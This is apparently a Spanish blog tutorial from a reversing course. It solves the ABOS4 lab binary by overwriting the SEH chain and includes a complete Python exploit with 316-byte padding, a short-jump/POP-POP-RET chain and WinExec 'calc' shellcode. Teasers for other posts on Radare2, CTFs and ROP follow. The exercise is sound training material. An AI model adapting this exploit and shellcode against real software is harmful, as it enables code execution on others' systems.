Ir al contenido principal

Desarrollo de Malware Básico en Windows (parte 2)

Resolucion 2 ABOS4 SEH

Buenas de nuevo,

Esta entrada es la continuación de la resolución del ABOS4, visto en la entrada anterior. En este caso, lo haremos machacando la cadena SEH.

Como tenemos una idea de como estaba compuesto el binario anterior, aquí nos vamos a centrar en la construcción del exploit.

Sabemos que debido a la característica del SEH en x86, cuando se produce una excepción se lanza el manejador de excepciones, y este está compuesto por 2 campos:

  • Dirección del siguiente SEH
  • Dirección que se encarga de gestionar la excepción.


Primer paso que debemos hacer, es provocar una excepción en el primer gets() para ello vamos a generar una cadena "pseudoaleatoria" de un tamaño enorme hasta provocar la excepción.
Con x32Dbg vamos a ver la dirección que hemos machacado en el SEH chain y así sacaremos el tamaño de relleno que tenemos que introducir para machacar el controlador de excepciones:

Para construir el exploit usaremos python, ya que es mas sencillo su uso:

random_string = ''.join(random.choices(string.ascii_uppercase + string.digits, k = 3000)) #Generamos cadena gigante pseudoaleatoria, para sobrescribir la dirección que gestiona el SEH.

Miramos con x32Dbg la dirección que se ha machacado y vemos que hay una distacia de 316 bytes entre la posición de la variable var_a_machacar que pasamos como parámetro al gets() y el next_seh.

Por lo tanto ya sabemos que hasta machacar el SEH tenemos que introducir por el gets() 316 valores.

payload = 316 * b'A' + Dir_nextSEH+ Dir_SEHhandle ....

Por las características de SEH en x86, hemos visto que la cuando entramos en el código de gestión de la excepción, la dirección del próximo SEH se encuentra 3 posiciones mas abajo en la pila. Por lo que si tenemos en nuestro ejecutable las instrucciones POP X + POP X + RET --> podremos saltar a ejecutar la dirección indicada en Dir_nextSEH.



Localizamos en la dirección 0x00401F2D, la secuencia de las instrucciones pop, pop y ret. por lo tanto, esa sera la dirección que pondremos en Dir_SEHhandle y esto hará que ejecutemos lo que pongamos en la dirección Dir_nextSEH que en nuestro caso sera:

0x90 --> NOP
0x90 --> NOP
0xEB06 --> Salto a los 6 bytes mas abajo, para saltar los 2 bytes de 0xeb06 y los 4 bytes de Dir_SEHhandle (0x00401F2D) y empezara así a ejecutar la shellcode que pongamos a continuación que esta detallada en una de las entradas anteriores del blog.



Por lo tanto nuestro exploit quedaría de la siguiente manera escrito en python:

from subprocess import Popen, PIPE
import struct
import random
import string


#Creamos el PAYLOAD

payload = 316 * b'A'  #--> Relleno inicial para llegar a la direccion del SEH
payload += b'\xeb\x06\x90\x90' # --> Dirección del proximo SEH
payload += struct.pack ('<I', 0x00401F2D) # --> Dirección donde encontramos el POP POP RET
winexec_calc_shellcode =b'\x33\xd2\x52\x68\x63\x61\x6c\x63\x89\xe6\x52\x56\x64\x8b\x72\x30\x8b\x76\x0c\x8b\x76\x0c\xad\x8b\x30\x8b\x7e\x18\x8b\x5f\x3c\x8b\x5c\x1f\x78\x8b\x74\x1f\x20\x01\xfe\x8b\x4c\x1f\x24\x01\xf9\x0f\xb7\x2c\x51\x42\xad\x81\x3c\x07\x57\x69\x6e\x45\x75\xf1\x8b\x74\x1f\x1c\x01\xfe\x03\x3c\xae\xff\xd7'
aniadimos_exit = b'\x68\x33\x12\x40\x00\xC3' #--> PUSH 0x00401233 + RET (exit())
payload += winexec_calc_shellcode
payload += aniadimos_exit
payload += b'A' * 3000 --> Provocamos la excepción.

#Lanzamos el payload creado:

p1 = Popen(r"C:\Users\juan\Desktop\Curso_Reversing_freeTools\ejercicios\Ejercicios\ABOS\ABO4_VS_2017.exe", stdin=PIPE)
print ("PID: %s" % hex(p1.pid))
print ("Enter para continuar")
p1.communicate(payload)
p1.wait()
input()




Un saludo



Comentarios

Entradas populares de este blog

Radare2- Set de comandos básicos

Buenas a todos y Feliz navidad lo primero. Entre mantecado y mantecado, y motivado por el curso de Ricardo Narvaja (CrackLatinos), me he decidido a publicar una entrada que es mas para mí que para el resto. Pero supongo que puede ser útil para otras personas, de ahí que lo ponga lo mas bonito posible en la web. Vamos a ver un "cheatsheet" con comandos útiles de Radare2 y su funcionalidad, todo esto puede extraerse del --help de las herramientas, pero para los que como yo le gusta ir al grano y ahorrar el mayor tiempo posible, tienen esta entrada. RABIN2: rabin2 -I file_.exe --> Nos proporciona información básica del binario, como arquitectura, y las protecciones del binario como (nx,dep,aslr...) rabin2 -i file_.exe --> Nos muestra los imports del binario. rabin2 -e file_.exe --> Dirección del Entry point. (Dirección virtual y raw offset en el executable) rabin2 -zz file_.exe --> Muestra las strings rabin2 -g file_.exe --> Este comando nos muestr

CTF WriteUp sencillos con Radare2

Para comenzar el blog y así repasar yo de paso, ahora que llevo un tiempo sin hacer ningún tipo de reto en reversing voy a comenzar con algunos CTF que ya se han cerrado y que intentaré resolverlos haciendo uso de Radare2 para los retos que estén sobre la plataforma Linux y IDA para los resto sobre la plataforma Windows. Iré comenzando de dificultad baja y poco a poco subiremos la dificultad conforme vaya sintiéndome mas cómodo yo con las herramientas utilizadas. El  primer reto es un de  Sharif_University_CTF_2016 y es llamado dMd   cuyo binario os podéis descargar de el Github que os dejo a continuación  https://github.com/N4NU/Reversing-Challenges-List/tree/master/Baby/Sharif_University_CTF_2016_dMd . Los voy a encarar de la forma mas sencilla posible para poder seguir un patrón: 1) Mirar el tipo de binario que es: Tras ver el tipo de binario que es, seguidamente lo que hacemos es intentar sacar información del binario como algunas " S trings interesantes "

Iniciación a la técnica de ROP

Buenas a todos, En esta entrada vamos a resolver el binario propuesto por el maestro con la protección DEP: Que previene de ejecutar el código que introducimos en el stack si se encuentra activada esta protección del binario. Para ver si un binario tiene la protección DEP (Data execution prevention) activa, p odemos mirarlo con la herramienta ProcessExplorer tal y como vamos a ver en el siguiente ejemplo activando la columna DEP del mismo para poder comprobar si el proceso tiene o no el DEP habilitado:                                 Vemos que al ser un sistema operativo de x64, todos nuestros procesos tiene el DEP habilitado por defecto, y hemos de comprobar también si tiene alguna otra protección nuestro binario como el ASLR(Address Space Layout Randomization), encargado de aleatorizar las direcciones de la memoria virtual cuando nuestro binario es cargado en memoria virtual. Vamos a ver todos los módulos que componen el binario (Programa + librerias(dlls)) para ver si algún